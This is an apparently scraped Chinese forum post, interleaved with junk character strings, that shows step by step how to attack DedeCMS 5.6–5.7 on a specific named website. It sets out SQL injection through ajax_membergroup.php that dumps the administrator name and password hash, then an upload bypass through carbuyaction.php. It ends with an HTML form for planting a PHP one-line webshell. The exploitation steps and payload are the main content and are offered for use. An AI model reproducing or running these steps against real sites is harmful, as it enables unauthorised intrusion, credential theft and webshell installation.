dedecms5.6-5.7注入与上传漏洞利用

admin

①注入漏洞。
& X9 Y) i3 B+ ^$ {+ v2 j" Z这站 http://www.political-security.com/
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
www.political-security.com/data/mysql_error_trace.inc 爆后台
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
, c% d. I" I8 o- F* l然后写上语句
查看管理员帐号
http://www.political-security.co ... &membergroup=@`

4 f5 n; B8 I0 E% @/ t4 S4 ~admin
4 b$ x  f$ }* z* h. t# S4 @
3 ^6 `0 u( |4 |/ e2 H1 P# _查看管理员密码
　http://www.political-security.co ... &membergroup=@`
7 }% S; R+ w# W% I( Q1 ~, W
8d29b1ef9f8c5a5af429
" d# X9 N* S4 N( ^& [
查看管理员密码
; g! [) M0 P3 a+ K9 u, L: }
7 o" r, G5 Y& h4 s( \1 V* t- G得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
" m0 V$ `7 i4 P; K
8d2
& Z' }: |* [4 Z8 I9 h9b1ef9f8c5a5af42
4 ~6 H# I6 W/ C5 ?' G9

cmd5没解出来 只好测试第二个方法
0 O5 r. h5 G7 H/ y4 ^4 I5 u

②上传漏洞：
- P7 ?" \8 X9 \. u6 I
/ [. F+ `4 t* l1 \0 V* X- A& E只要登陆会员中心，然后访问页面链接
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”

如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
8 D) n9 r3 j0 h) l7 c0 Q
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm

<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
( |/ i7 _( a5 q6 p% v1 n' S/ k或者
  ?5 u! r3 K( S: h) ]: \0 [' q即可上传成功